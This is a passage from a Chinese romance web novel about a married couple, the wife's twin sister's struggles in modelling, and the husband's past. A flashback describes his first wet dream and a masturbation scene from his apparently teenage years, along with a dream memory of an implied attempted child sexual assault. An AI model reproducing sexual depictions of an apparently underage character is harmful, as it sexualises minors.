说罢,想到了什么,她追问:“你不会不止一次干这种事了吧?” 徐清聿闻言,饶有兴趣地挑眉,“云听,你别把他想得太好,我们有相同的基因。” 云听揣摩不透徐清聿的话。 过去,她以为徐清聿和徐淮风的关系不太好。 因为她和姐姐即便会拌嘴,依然亲密无间,能毫无顾忌地倾诉心事,互相依赖,所以她理所应当认为徐清聿两人也会很亲密。 这些年来,她观察过他们两兄弟的相处方式,没什么交流。即便在同一个空间里,也各做各的事,连眼神交流都寥寥无几,彼此都保持着一种冷淡的距离。 徐淮风在高中时有过一段学坏的时期,当时瞒着家里人,开始逃课、抽烟,跟一群“狐朋狗友”混在一起。 说狐朋狗友并不恰当,也许只是志同道合的朋友。 但徐淮风成绩没有下滑,家里人并不知情,偶尔他会有些反常的行为,徐深凛和邢时漫都以为他只是青春期的浮躁。 徐清聿是第二个知道这件事的人。 他当时什么话都没说,找到徐淮风,二话不说就是一巴掌甩了过去,声音冷得让心底发寒:“你想自甘堕落可以,但别让我知道,知道了我就会管。” 云听也是回家后,听说了这件事。 她听完的第一反应,并不是觉得徐清聿太狠,而是……他其实很在乎徐淮风。 或许,是关心则乱。 他们不像普通兄弟那样亲密,可在关键时刻,徐清聿会出手管教,不会让徐淮风真的走偏。 只不过,他不会用温言软语劝导,而是更直接、更有压迫感的方式。他可以冷眼旁观,但并不意味着漠不关心。 那天晚上,云听原本只是出来倒杯水,路过楼梯口时,不经意地看到徐清聿从徐淮风的房间里出来。 徐清聿低垂着眉眼,整个人都笼罩在一层低气压里,情绪正压抑在极限边缘。 云听停下脚步,注视徐清聿—— 脸色很黑,黑得能滴出墨来。 他的五官本就深邃冷峻,如今在光线下,线条愈发凌厉,唇角紧抿,薄唇抿成了一条锋利的弧线,眉峰微蹙,压抑着隐隐翻腾的情绪。 他在生气。 云听很少见他如此生气。 徐清聿不是什么喜怒形于色的人,就算再不耐烦,他大多数时候也只是冷淡,懒得搭理,而此刻,他的气场却沉得可怕,整个人被一层无形的阴霾覆盖,眼底翻涌着晦暗不明的情绪。 云听张了张嘴,试探性问道:“徐清聿,你没事吧?” 徐清聿的脚步顿住。 他抬起眼,眼神驻足在云听身上,像是才从某种情绪中抽离出来,目光很快恢复了以往的平静。 徐清聿盯着她看了几秒,与她擦肩而过,“没事,能有什么事?” 云听闻到他身上有很浓的烟味,呛得刺鼻。 * 徐清聿没再继续刚才的话题,问道:“还要去买吗?” 云听迷茫了一下,才后知后觉他说的是卫。生。巾的事。 一个大男人,却比她还先一步想到这种事…… 云听想了想:“算了,我们回去吧,反正你已经买了。” 回到家后,云听看到徐清聿买的卫。生。巾,品牌和款式,和6年前的一模一样。 包装有点变化,外面的设计更现代了,但里面的数量没有变。 这并不是她买的常用款,她通常买的品牌比较固定,习惯了某一款,就很少用其他品牌。 不过这个没怎么用过的品牌,想来她也是能用的。 但是徐清聿买得太多了,比她平时一年的需求量还要多。她每个月的姨妈期也不过是四五天,怎么也用不了这么多。 云听去了云闻的房间,把一半的卫。生。巾给她。 云闻接过,随手拆开看,问道:“你怎么买的这个牌子?” 云听也没解释不是她买的,是徐清聿买的,故作自然地道:“随便拿的,应该还行吧?” 云闻倒是没多想,拿了一片往浴室走去。 出来后,云听看着她的身影,惊觉云闻也瘦了。 吃饭时,她穿毛衣,云听没有看出来,但换成睡裙,十分显眼。 她原本的身材就很匀称,虽然纤细,但有健康的线条感,可现在……她的肩膀看起来更加削薄了,连腰肢都显得过分单薄。 云听蹙眉,忍不住出声:“姐,你是不是瘦了?” 云闻停下脚步,低头看了自己一眼,语气平静:“是啊,最近在减肥。” 云听的眉头皱得更紧:“你本来就不胖,为什么还要减?” 云闻闻言,忍不住笑了一下,无奈道,“你不懂,就算我快瘦成太平公主了,可有些人还是嫌我不够瘦。” 云听听着,心里不由得一紧,她往前走了两步,认真地看着云闻:“最近怎么样?” 听到这句话,云闻像是终于找到了发泄口,拉着云听在床上坐下,开启话匣子絮絮叨叨抱怨:“还能怎么样?模特圈就这样,内卷严重,稍微松懈一点就会被人挤掉。” 她靠在床头,揉了揉眉心,叹了口气:“我最近被那女人缠上了,简直阴魂不散。只要是我拿下的代言,她都会想办法去争,故意在公开场合和我撞造型……烦死了。” “她是故意针对你?” “当然。”云闻冷哼了一声,语气讽刺,“谁让我们是一个公司的,资源就那么多。她每次都装得温温柔柔的样子,私下却各种使手段,简直是双面人。” 云听听得有些生气:“那公司不管吗?” “怎么管?她不会做太明显的事,别人也不能拿她怎么样。”云闻笑了笑,眼底的冷意更深,“不过,她要是以为这样就能把我踩下去,那也太天真了。” 云听望着云闻,她嘴上在抱怨着,但眼神里却透着一股不服输的倔强和锋芒。 云闻这些年能在这个行业站稳脚跟,并不是全靠运气,而是有真本事,也有一股狠劲。 但这种环境,云听仍然觉得很不公平。 “那你也要好好吃饭。” 云闻笑着揉了揉她的脑袋:“听宝,你什么时候学会唠叨了?” 云听撇嘴,“我只是担心你。” “放心吧,我知道分寸,等这个活动结束,我就放开吃。” 云听和云闻躺在床上,都没说话。 云闻的卧室布置得很精致,仿佛进入了一个小小的梦幻王国。柔软的白色窗帘轻轻垂下,和屋内暖色的光线相互映衬,营造出一种甜美的氛围。 房间的墙壁上挂着几幅精致的画作,画中是漂亮的风景和富有艺术感的抽象画,色调清新、和谐。床头摆放着几件精美的瓷器,散发着淡雅的光泽。床上的被褥和枕头都非常柔软,浅粉色和淡紫色的搭配显得既优雅又舒适。 云闻喜欢公主风格,房间的布置是她一直梦想的样子。 小时候她总是想,自己也能住进那种梦幻般的城堡,拥有一个属于自己的童话世界。虽然她现在已经不再是小女孩,但她依然希望在这个房间里找到一种温暖、安全的感觉。 见云闻疲惫地望着天花板一动不动,只剩眼睫毛在轻轻颤抖,云听转移话题:“姐,你最近拍的那组照片怎么样?” “你说那组双生照片吗?”说起这个,云闻更来气了,她对着空气垂了几下,愤愤不平说道,“真是让人想疯。摄影师一直让我们表现得亲昵一些,非得把我们拍成一对双胞胎,反正做得我们俩都觉得很不舒服。” “亲昵?” 云闻转了个身,咬牙切齿:“是啊,Livia根本就不是什么好人。她和我争了那么多年,我才不信她会真心喜欢我或者想和我和谐相处。可是摄影师为了效果,一直逼着我们两个人互动得亲密一点,非要我们像一对姐妹一样, 拥抱、牵手、还有眼神交流,让人恶心。” 她自顾自说下去:“我们的摄影师,这也挑剔,那也挑剔,说什么一切都是为了拍出最完美的效果,要不是在工作,我早就想甩她一巴掌了,我早就爆发了。” “有时候我真的想放弃,想逃开这个圈子,但我又不敢,毕竟这份工作给了我这么多的机会,给了我这么多的可能,怎么能就这么轻易地放弃?” 云听心脏抽得生疼,云闻的话像是无形的重物压在她的心头。她理解云闻的挣扎,这种在生活和理想之间的拉扯,是每个人都会经历的痛苦。 她没有插话,静静地听着,给云闻一个释放的空间。 云闻笑容苦涩,“如果我说了,或许就会失去一切,失去所有的机会。这个行业太残酷,任何人的崛起都要经历无数次的摧残和磨砺。很多人只看到我身上的光鲜亮丽,只有我自己知道,背后的痛苦有多少。” 云听听到这里,眼睛湿润。 她不是一个合格的妹妹,她没有看出这些天来云闻的痛苦和挣扎。 “每一次拍摄,都是对我的挑战。”云闻的声音再次响起,这次她没有那么愤怒,而是带着一种无奈的心平气和,“我不是不想做好,只是我也有自己的底线,自己的自尊。可是,工作和生活的压力让我不得不妥协,妥协到我几乎忘记了自己原来的样子。” 云听轻轻地靠近闻云闻,伸手握住了她的手,温柔地安慰:“姐,我知道你很累,你不想这样,可是你已经很坚强了,真的。” “听宝,虽然每次面对这些事情我都很累,但你知道吗?有时候想一想,这些都是我自己选择的,我没有办法后悔。” 云听摇了摇头:“姐,你一直在为了梦想在努力,你从来没有停过。你已经比任何人都要勇敢,才会走到今天。” 两人又安静了很久。 云听侧过身,注视云闻,她不知道该不该问云闻包臀裙这件事。思虑许久,她还是不忍心再问下去。 云闻的回答,无非是为了工作。 云闻接着道,“至于你之前问我的那个男生,叫连庭,他似乎对我有些意思,明显是在接近我,但我不喜欢他。” “我一开始并没有直接拒绝他,只是觉得他有些过于热情。但后来,他不止一次地表现出对我的兴趣,我知道不能继续让他误会。于是我告诉他,我已经结婚了。” “他简直就是一个疯子。” “我说不可以叫我云云,他不听,他说他要做唯一一个叫我云云的人,我说我已经结婚了,他还是不听,说可以做小三,听宝,你说我怎么就跟他说不明白呢?” 从小到大,云听身边有过许多追求者。 她外貌出众,身高、身材都刚刚好,再加上性格温和,气质不张扬,总是给人一种艳丽又清新自然的感觉。 很多男生都会悄悄地送她小礼物,或者在学校里通过朋友向她表达心意。 而每当这些表白来临时,云听总是笑着拒绝:“谢谢你的喜欢,但我现在不想谈恋爱。” 她不想谈恋爱,是因为心里有徐清聿。 那云闻呢? 云闻这么优秀的人,为什么一直没有谈过恋爱? 云闻的性格比她更容易和男生相处。 她和徐清聿的关系就是一个很好的例子。 无论是校园里、还是社交场合,总有不计其数的男生向云闻表白,其中不乏好看的,求她做他的女朋友,云闻也几度陷入过狂热的追求之中。 老师也出面提醒云闻,千万不要早恋。 可无论追求她的人如何努力,云闻从来没有主动回应过任何人的追求。每一场热烈的表白,云闻总是给出一两句含蓄的拒绝。 云听想不通,好奇问:“姐,长这么大,你有喜欢的人吗?” “喜欢的人?”云闻喃喃。 云听点了点头,话里话外皆是自豪,“嗯,你从小到大,像是个太阳一样,周围的男生一个个都喜欢你,追求你。我从小就知道你很特别,不仅仅是外表,性格也很好,你肯定有很多人向你表白吧。可是,为什么你一直没有谈过恋爱呢?” 云闻眼神中闪过一丝不易察觉的慌乱,随即又恢复了平静。她犹豫了一下,嘴角微微上扬,露出一个淡淡的笑容,轻声说:“没有啊。” “真的没有吗?” “没有。我的生活里有太多其他事情要忙,可能也没有时间去关注那些感情上的事吧。” 说完,像是为了掩饰什么,她又笑了笑,继而说道:“别光顾着说我的事,你和聿哥相处得怎么样?他对你好吗?要说实话哦。” 云闻语气倏地变得玩味,眼中发出一丝调侃的光芒。 她看着云听,已经迫不及待想看她的反应:“怎么样?聿哥对你还算不错吧?虽然他一直看起来冷冷的,但是没想到……那么…猛烈?” 云听穿睡衣时,云闻看到她身上斑斑点点的痕迹,脖子上、胸口有很多,小腿上徐清聿也不放过,零零星星有几个,她不知道该用拿出什么样的词来形容徐清聿。 云听脸颊发烫,心跳也在这一刻加快。 她知道姐姐的话语带着戏谑的成分,似乎在暗示些什么。但她还是很诚实地回答:“嗯,还好,挺好的。” * 徐清聿站在床边,手里捏着一杯水,眼神冷峻地盯着床铺上一片湿漉漉的痕迹。 水杯里原本应该是清澈的水,但现在一滴不剩,溅落的水珠渗透进了干燥的被子。 徐清聿低头看了看手中的杯子,随即又瞟了一眼床上不小心洒落的水渍,他没有慌乱,微弱的笑容隐藏在冷硬的面庞下。 他稍加犹豫,拿起手机,快速打了条信息。 发完后,没有再多看,放下手机。 徐清聿刚走出房间,恰巧碰上了徐淮风。 两人的房间仅一墙之隔,徐淮风似乎在等待他。 看到他出来,徐淮风担心地问道:“哥,这几天还好吗?” 徐清聿脸上没有多大的表情波动,字句简短:“没事,我会处理。” 徐淮风听出徐清聿语气中的疲惫,没有追问,他点了点头:“哥,大晚上你要去哪儿?” 徐清聿没有正面回应他的话:“水洒了,我房间不能睡了。” 听到他的话,徐淮风的视线越过徐清聿,来到他身后,看到桌子上的水杯,立刻明白了些什么,“哥,你这副模样,真像是有点分离焦虑症。” 徐清聿从牙缝里挤出三个字:“少管我” 徐淮风眯起眼睛,火上浇油:“哥,你是故意的吧。” 徐清聿冷漠的面孔让人无法揣测他的内心,但他长久的沉默却足够说明一切,他说,“少废话。” 兄弟间的默契早已不需要语言来表明,每个动作、每个眼神,甚至是每个沉默,都会在这场博弈中暴露无遗。 徐淮风露出深不可测的笑容,撩起眼皮,“水洒了,人会下意识地把杯子握住,水杯里的水不会洒得这么干净。你是不是故意弄湿床单,好借此离开房间?” 徐清聿冷冷道:“你想多了。” 徐淮风不掩饰自己对徐清聿心思的透彻理解,“没关系,你的事情我不管,不过,刚才嫂子看我那眼神有点奇怪,你是不是干了什么事?” 徐清聿脸色变了变,凉凉的语气如同冰霜一般划过:“没有。” “哥,你还在记仇吗?”徐淮风捏了下眉骨,表情骤然严肃,“当时是我不懂事。” * 四年前 徐淮风的房间。 徐清聿站在窗口,任由冷风灌入,吹乱了他原本整齐的发丝,“你想好了吗?要继续这样做吗?” 徐 淮风的脸红肿未退,嘲讽似的牵了下唇,“手伤,就是废了。” 徐清聿沉默不语,他掏出一支烟,点燃,深吸一口,尼古丁的辛辣充斥整个口腔。 徐淮风紧盯徐清聿手中燃烧的烟,“哥,你真狠,给我一支。” 徐清聿没有回应,机械地又抽了一口,烟雾在空间里肆意弥漫,模糊了两人的面容,也模糊了两人心境,很快,又随着风离开了。 他一支接着一支地抽着,烟头渐渐堆积,像极了此刻他凌乱不堪的思绪。 半晌,徐清聿侧过身,面对徐淮风,“记住,别做爸妈不喜欢的事,不要让他们担心。” 徐淮风眼神闪烁,低头望见自己的手指,指尖的烟蒂在指间慢慢燃烧,眼中的叛逆情绪愈加明显。他低声反问:“哥,那天在浴室,你喊的是谁的名字?” 这句话突如其来,随之而来一股强烈的试探。 徐清聿的身体僵硬了一下,眼中划过明晃晃的波动,但很快恢复了冷静。他没有转身,也没有回应徐淮风的话,只是将剩下的烟蒂丢进了烟灰缸,面无表情地说:“你不是听到了吗?” 第39章 第三十九章 第一次梦到云听 夜色沉沉, 屋外的风吹得树枝沙沙作响。 徐清聿沉沉地睡着,脸庞埋在枕间,呼吸均匀。 他很少做梦, 或者说,他很少记得自己的梦境。 但这一夜,他梦到了云听。 梦境的开端是一片淡色的晨曦,温暖的光线洒落在空气中, 折射出朦胧的美感。 徐清聿站在一片柔软的草地上,四周是漫山遍野的粉色桃花,映衬着蓝天与远山,随风摇曳。 零星的野花悄然生长,黄色、紫色的小野花藏匿在草丛中, 或聚或散,点缀在绿色的叶片之间。 不远处,一个少女迎光站立。 风吹起少女的黑色的长发,白色的裙摆随风轻扬,像是从画中走出的精灵。 她不断地靠近, 身影渐渐清晰,阳光落在她的眉眼间,她静静地看着徐清聿,嘴角扬起一丝浅淡的笑意。 是云听。 即使云听有一个双胞胎姐姐, 她们拥有相同的面容,徐清聿还是能一眼认出她。 因为直觉告诉他, 就是云听。 云听的眼眸干净得像是湖泊里最深的一抹蓝,清透之中保留着让人沉溺的温度。 徐清聿的心脏一滞,他发现自己无法移开视线,也无法控制自己的步伐。 他不受控制地朝她走去, 每走一步,心跳便加快一分。 他近了,近得能闻到云听身上浅浅的清香,像雨后的空气,又像初春的花朵,清新而令人沉醉。 徐清聿的喉咙有些干涩,心脏疯狂跳动直逼极限,可不敢抬手触碰她。 云听来到他面前,抬起手,指尖碰了碰他的胸膛。 “哥哥,你在害怕什么?”她狡黠地眨了眨眼睛,俏皮的声音丝丝缕缕地撩拨徐清聿的耳朵。 徐清聿的心脏跳得很快,血液翻滚着。 他的喉咙发紧,身体某个角落被点燃了一簇细小的火焰,在不断燃烧和蔓延。 徐清聿不能忽视异样的感觉,也不能抗拒奇怪的冲动。他的意识被一种陌生而炽热的情绪吞没,整个人陷入了一片无边无际的温热漩涡中。 云听吻了他。 传递过来的温度烙进他的皮肤里。 可就在这一瞬间,梦境倏然崩塌。 周围的光亮突然消失了,温暖的晨曦坠入黑暗,取而代之的是潮湿阴冷的空气,令人恶心的霉味弥漫开来。 梦境变了。 徐清聿愣了一瞬,随即发现自己站在了一间破旧的房间里,空气闷得让人喘不过气,四周昏暗得看不清边界。 然后,他看见了几张恶心的嘴脸。 那些脸模糊不清,嘴角挂着让人作呕的笑意。 徐清聿听见他们低低地交谈着,语气是瘆人的兴奋。 那时候,他还小。 徐清聿蜷缩在角落,睁着一双漂亮得不真实的眼睛,不知所措地看着他们。 他不明白自己为什么会被带到这里,更不明白这些人为何用那样的眼神看着他。 “这么漂亮的眼睛,竟然是个男孩?” “别提了,我也以为他是女孩。” “哪个男孩能长得这么漂亮?” 几个陌生的声音同时出现,有惊叹,也夹杂让人不寒而栗的渴望。 徐清聿不明白他们在说什么,他只是本能地向后退,想要远离这些让他感到危险的人。 可他的背已经贴到了冰冷的墙壁,无路可退。 “男孩女孩有什么关系?” 另一道声音响起,“男孩也能让人爽,不是吗?” 话音落下的刹那,一只冰冷而粗糙的手伸向了他—— 徐清聿睁开眼,猛然从床上坐起! 胸膛剧烈起伏,喘息声在寂静的房间里回荡。 额角冷汗涔涔,掌心泛着潮意,身体僵硬得还未能完全从梦境的阴影中挣脱出来。 他低头,看见床单上的湿意,愣了一瞬。 他梦。遗了。 这是他第一次。 梦。遗通常发生在青春期,一般在12至18岁之间。具体年龄因人而异,一些男孩可能在10岁左右就开始出现,而有些可能要到20岁才会经历。 徐清聿比同龄人晚了许多,别人早就经历的事情,他拖到现在才发生。 很多人都说,男孩的成熟是循序渐进的,是在不经意的瞬间,被生理的本能所裹挟,陷入某种无法自控的悸动。 可他一直没有,他的身体比其他人更加沉寂,连激素都懒得对他施加影响。 可今天,它终于来了。 徐清聿烦躁地捏了捏眉心。 他不明白,为什么是云听? 他明明从未对任何女生有过这种感觉。 他见过无数漂亮的女生,娇俏,妩媚,或是纯洁天真,可是无论哪一种,他都未曾有过一丝悸动。 徐清聿一直以为自己是无欲无求的。 他见过有人在十几岁时就被荷尔蒙支配坠入爱河,也见过同龄人目光灼灼地盯着漂亮女生,兴奋地讨论她们的身材与容貌。 可是,他从未有过任何感觉,惊不起一点波澜。 他的青春期,寡淡得像是一片荒漠,连一滴水都未曾流淌。 可为什么,他第一次想到的,竟然是云听? 徐清聿与云听的交集不算多,她不是他生命中最亲近的人,甚至,他们的关系远远算不上亲密。 他一直把云听当作妹妹来看待。 可他却梦到了她。 * 清晨,徐清聿睁开眼,眼底一片清明。 没有昨夜梦醒时的恍惚,也没有任何不安。 不是什么大事。 梦境而已。 徐清聿翻身下床,洗漱、换衣,一如往常,没有异样。 白天的生活继续向前,梦境被抛在身后。 随手翻过的一页纸,不值一提。 更重要的是,徐清聿在白天看到云听的时候,确实什么感觉都没有。 云听就站在离他不远的地方,穿着平常的衣服,脸和梦中的一样漂亮,唇和梦中一样红。 但他也没有生出任何想要靠近、想要凝视、想要触碰的冲动。 这就对了。 只是一个随机的梦。 人都会做梦,而梦的内容千奇百怪,或许只是他的大脑随意抽取了某个异性影像,拼凑成了一场无足轻重的幻觉。 云听不过是他见过的无数女生中的一个,仅此而已。 所以,这件事就像一滴落入水中的墨,迅速扩散,最后被冲淡,消失得干干净净。 一切如常,理所当然。 但事情并没有如徐清聿所想的那样“过去”。 那天夜里,欲。望支配下,他打算用手解决。 徐清聿不是个容易被情欲掌控的人,可以说,他对这方面的需求一直很低,低到他自己都怀疑过,自己是不是真的不行。 他从未对女生生出过欲望,哪怕是所谓的“荷尔蒙冲动”,对他来说也没有。 但身体的反应是不可抗的。 当他闭上眼,试图随意想点什么来催化这场生理反应时,脑海里却什么都没有。 他没有幻想过的画面,没有刻意召唤的对象,一片空白。 可是,在这一片空白中,云听的脸却忽然浮现出来。 猝不及防。 突如其来。 她的眼睛,她的唇,她笑意的神情……梦里的她、现实里的她,所有的画面交错在一起,变得清晰真实。 为什么又是云听? 可这次,徐清聿没有时间去思考答案。 身体的本能已经接管了一切,比大脑更快一步地做出了反应。 他根本没想她,可是,他的身体认出了她。 一股燥热的情绪攀上了脊背,徐清聿想要把她的脸驱赶出去,可她却在脑海中停留得越来 越久。 那不是徐清聿刻意去想象的,可她就是出现了。 他想不通,也无法控制。 不知不觉地,徐清聿低声喊出了她的名字。 “云听。” 空气灼热,他的意识片刻地失控了。 过了一会儿,徐清聿稍微缓过神,准备起身去洗手间清理。 目光僵在半空中。 门开了一道缝。 徐淮风站在门外,手里揣着几张纸,神色震惊地看着他。 他的耳根很红,不知所措地挠了挠头,对撞破哥哥的“好事”极其不好意思。 僵持三秒。 “哥,你要纸吗?”年纪尚小的徐淮风想挽救一下,小心翼翼地问道。 说罢,他伸出手,将手中的纸递了过去。 徐清聿视线落在徐淮风递过来的纸上,额头的青筋迅速暴起。 他的视力很好,徐淮风递过来的是他的考试试卷。 卷面整洁,明显的红色的满分。 老师要求学生把试卷带回去,让家长签名。 徐清聿的脸黑了好几度。 他没理会徐淮风,顺手拉过床头柜上的纸巾,低头擦拭掌心的乳。白。色痕迹。 他没有解释。 没有慌乱。 也没有任何要掩饰的动作。 只是淡淡地开口,嗓音平稳得听不出责备的情绪: “敲门。” 徐清聿的声音不高,却很冷淡。 “进别人房间前,记得敲门。” 那时的徐清聿并不知道,自己的父母和云听的父母,在很久之前,早已为孩子定下了婚约。 当时因为几人都还很小,这件事没人提起,两方家长想要等几人毕业、工作稳定才说婚姻的事。 自那件事之后,徐清聿越发感觉自己是个恶劣的人。 每当回想起来,内心的不安和悔恼就会争先恐后涌来,他认为自己亵渎了云听,亵渎了他本应遵守的规则。 云听是他的妹妹。 他无法原谅自己。 他怎么能对自己的妹妹有那种想法? 这怎么可能是对的? 云听太干净了,他的欲。望是不该有的,是他自私、低贱的一面在作祟。 徐清聿觉得自己的心灵就像一片荒芜的土地,不仅无法给予任何人真正的幸福,反而会成为她人生中的一场灾难。 于是,每当心底升起这种想法时,徐清聿便会本能地选择躲避。 每一次与云听的相遇,他都会刻意避免和她有更多的接触。 远离云听,变成了他那段日子生活的常态。 但幸运的是,无论如何,云听总是先低下头,或是先将视线转向别处。 每当她的眼睛避开他,徐清聿都能感到一阵松弛。 如果云听再晚一秒移开视线,那撇开视线的人将是他。 时间慢慢过去,学业上的压力逐渐占据徐清聿大部分的时间和精力。 每天都沉浸在课本和作业中,他已经忘了这件事,自然而然忽略了曾经让他心生困扰的细节。 梦到云听,成了一个偶然的插曲,像是一阵风吹过,没有留下什么痕迹。 等再次看到云听的时候,徐清聿已经可以稍微坦然面对她。 只不过,云听没变,还是很怕他,依旧不敢看他, * 云听轻手轻脚地走到自己的房间门前,昨天晚上她没有看手机,错过了所有的消息,今天一早才看到徐清聿发来的信息,才知道他昨晚去了她的房间睡觉。 走进房间时,徐清聿还在睡觉。 见时间还早,云听也不想打扰他休息。 软软的拖鞋踩在地板上,脚步没有声音。 她本是进来换衣服和洗漱的,不知为何双腿主动迈向了床。 徐清聿睡颜是一种慵懒的美,鼻梁笔直,睫毛长而密,微微弯曲,覆盖在他薄薄的眼皮上。 云听站在床边,发了一会儿呆,才将注意力拉回。 她忍不住弯下腰,伸手触碰徐清聿眼角的一颗小痣。那颗痣隐藏在睫毛的掩映之下,微小,又引人注意。 指尖不舍得离开,停在那儿。 其实,云听最喜欢的是徐清聿的眼睛,虽然他的眼睛总是冷漠、无动于衷,可一旦他温柔地凝视自己,眼中的柔情,能精准无误击中她的心。 感受到触碰,徐清聿眼皮动了动,睁开眼睛。 云听被他的目光震了一下,连忙收回手,心跳加速,脸颊发热。 她轻声说道:“徐清聿,我只是想叫你起床,别再睡了,再不起床就要迟到了。” 云听心一惊。 糟了,徐清聿好像不喜欢别人碰他的眼睛。 徐清聿刚从睡梦中醒来,眼神迷蒙,“嗯。” * 一天结束后,云听望见桌上还堆着一堆资料,她放下工作,去见叶诗遥。 叶诗遥是徐清聿的表妹,现在正在读高一。 叶诗遥想买一条围巾送给她妈妈做生日礼物,早些时候就跟云听提过这个想法。但她没有昂贵奢侈品的购物经验,看中了一条围巾,是限量款,以她的人脉无法买到。 云听知道后,便答应帮她买,也答应保密。 回到家后,云听先去车库取车。 她已经很久没开车了,但她和叶诗遥毕竟不在同一个区,想来开车会更方便一些。 刚坐上车,云听稍微有些生疏,但好在很快熟悉了车的操作,踩了一脚油门出发。 经过一阵适应后,她找回了驾驶的感觉。 大约三十分钟后,车子停在叶诗遥所在的学校。 学校的外墙上挂满了各种激励标语,红底白字的横幅在微风中飘动,字里行间写满了对高三学子的期许:“奋斗高三,决胜未来!”、“高考倒计时,拼搏不止!” 云听停好车,下车走到校门口,看到叶诗遥正在校门口的石凳上等她。 她穿着标准的校服,头发随意扎着,朝气蓬勃。 “大嫂嫂,你来了!真是太好了,今天好累。”叶诗遥看到云听,眼里放光,跑过来搂住云听的手臂撒娇。 叶诗遥和云听的关系很好,平常最喜欢和她吐槽学校发生的破事:“大嫂嫂,你知道吗,我最近每天都饿得不行,学校的食堂根本满足不了我。高三的窗口食物种类多,但不让高一高二和他们抢吃的,真是太难受了。” 云听听她絮絮叨叨的话,安慰道:“没关系啊,等你升到高三了,就能享受到更多的食堂福利,吃得更好了。” 叶诗遥噘起嘴,幽怨地瞥了云听一眼:“大嫂嫂,你怎么和大哥哥越来越像了,每次都说这种话,难道你们都是这样安慰人的?” 云听:“你呀,知足吧,我当时高一就强迫我们住校。” 叶诗遥嘿嘿笑了两声。 云听带她去了小吃街,叶诗遥这个年纪的小朋友最喜欢吃“垃圾食品”,吵吵闹闹就是不肯回家吃饭。 “大嫂嫂,你是不是想让我胖三斤?”叶诗遥捂着肚子,笑得双眼弯弯,“你刚刚才帮我买了奶茶,现在又带我来这里。” “谁让你刚刚说自己吃不饱呢?”云听戳了戳叶诗遥的额头,“还不是你嚷嚷着要吃,吃完就好好学习。” 叶诗遥听到可怕的“学习”两字,脸色大变:“嫂子,你能不能不要提学习这两个字,真的太恐怖了!” 云听轻笑,拉着叶诗遥走进了一家热气腾腾的小吃店。 两人点了一点招牌,炖得软烂的牛肉、酱香浓郁的卤味、热腾腾的锅贴…… 菜上齐后,叶诗遥兴奋地拿起筷子,先夹了一块牛肉放进嘴里,满足地眯起眼睛:“太好吃了!嫂子,你也快吃!” 云听吹了吹勺子里的汤,刚要喝一口,听到她身后传来一阵训斥声。 “你这次6校联考数学才考了53分!天天就知道打游戏,下次让你爸给你开家长会去。” “妈,我觉得我下次能考得再低一点。” “你敢!再考这么低,你就别回家了!” “妈——” “快吃,我出去接个电话 。” 叶诗遥竖起耳朵,一边偷听别人谈话,一边深有同感:“哎,我怎么感觉找到同道中人了。” 她咬着筷子,“嫂子,你是不知道,我妈也这样!我上次物理考了60多分,她说她怀疑我的物理老师看我太可怜了,故意放水给我加了几分!为什么高一要学10门课,我真的学不会!” 云听哭笑不得,“学习这事,还得靠你自觉。” 叶诗遥信誓旦旦地说:“自觉的人占少数。” 话音刚落,云听听到被训斥的女生拍了拍桌子,坚定地说:“姐,我觉得我还有救。” 云听:“听到了吗?多自觉。” 女生说:“王者荣耀这个赛季还有38天结束,我每周六回家,一周大概能打五把,假设我每次打巅峰赛,赢一把加100多分,那么我只要打20多把,在保证胜利的前提下,我马上可以打到市标百里守约。姐,我真的还有救。” 云听:“……” 云听好奇地转身,想看看女生,但只看到她的背影。 叶诗遥一口汤差点呛出来:“大嫂嫂,你听到了吗?” 云听揉了揉眉心,“听到了。” 叶诗遥还沉浸在刚刚的笑点里,笑得上气不接下气:“哈哈哈哈,原来她觉得还有救是指她能打上市标?” 女生的妈妈接完电话回来,就听到女儿的宏伟计划,语气里满是怒其不争:“你是上学还是上王者?!我供你读书,是为了让你考市标百里什么的吗?!” “妈,你不懂,这真的很难……” “抓紧吃,以后你就算求我,我也不会让你逃晚自习了。” “妈——” 叶诗遥叹了口气,没有控制音量:“要是我高三了,我妈绝对会让我去图书馆学习。” 这话被女生的妈妈听到了。 “夏夏,以后周日你也去图书馆学习,别整天窝在家里…” * 云听回到家后,已经是晚上九点多。 推开门,屋里很安静。 阳台方向,她听见徐清聿在和人打电话。 云听放轻脚步,朝着声音的方向走去。 客厅通往阳台的落地窗开着一条缝,夜风灌进来,带来淡淡的烟草气息。 徐清聿半倚在栏杆上,指尖夹着一根烟,火光在夜色里忽明忽暗,侧脸隐没在光影交错之间。 云听站在门口,听到徐清聿说了几句。 “她还好吗?” “……嗯。” 夜风吹乱了他的话语,她听得不是很清楚,只捕捉到几个零碎的词。 “我会过去。” “……嗯。” “我会照顾好她。” “Elara不会……” 听到熟悉的名字,云听蹙眉,心有疑虑:Elara,是那个调香师的名字吗?徐清聿认识Elara女士? 还有照顾好她,“她”是谁? 第40章 第四十章 “我答应她保密” 电话结束, 徐清聿抬手摁了摁眉心,回过身时,看到云听站在他的身后。 他说, “回来了。” 云听点头,目光经过他指尖尚未燃尽的烟蒂上,试探问道:“徐清聿,刚才……你提到的名字, 是调香师吗?” 徐清聿口吻平静:“你听到了多少?” “零零碎碎的。” “不过那个名字……我听得很清楚。” 云听盯着徐清聿眼睛,试图从他的神色里捕捉到什么。 徐清聿垂眸沉默,斟酌后没有给出肯定或否定的答案:“没什么事。” 云听眨了眨眼,向前一步:“你不是说过,我想知道的事, 你都会告诉我吗?” 徐清聿又沉默了,他掐灭烟,身上的烟味太重,他向后退了一步,拉开两人的距离:“抱歉。” “……?” “别的事情, 我都可以告诉你。”徐清聿没有敷衍云听,直接告诉她实话,“唯独这件事,不行, 我答应她保密。” 云听安静了一分钟:“好,我知道了。” * 翌日, 云听蜷缩在被子里。 半梦半醒之间,手机震动,连续不断的噪音将她从困顿的状态中撕扯出来。 她探出一只手,在床头的方向胡乱摸索。 手指碰到了柔软的枕头, 再划过手机充电线,直到指尖触及手机冰冷的机身。 云听将手机拉回到身边,微弱的光映在她的脸上。 “喂?”她迷糊地接起电话。 “云云,你现在忙吗?我感觉心脏有点疼,闷闷的,还有点喘不过气,能陪我去趟医院吗?”辛亦桐语速连成一片,几乎不给云听反应和思考的时间。 云听缓了一会儿,才清醒:“怎么回事?是太累还是熬夜?” “可能是一晚上没睡。”辛亦桐忧心忡忡道,“我这人太容易多想,总觉得自己得了什么大病。你快点,我都快吓死了。” “好。”云听利索起身,快速洗漱,“我打车去找你。” “别打车了,我在你楼下。” 前前后后用时不到十分钟。 云听赶到楼下时,辛亦桐已经给她买好了早餐。 牛奶加三明治,牛奶还是温热的,三明治是她最喜欢的芝士鸡排煎蛋。 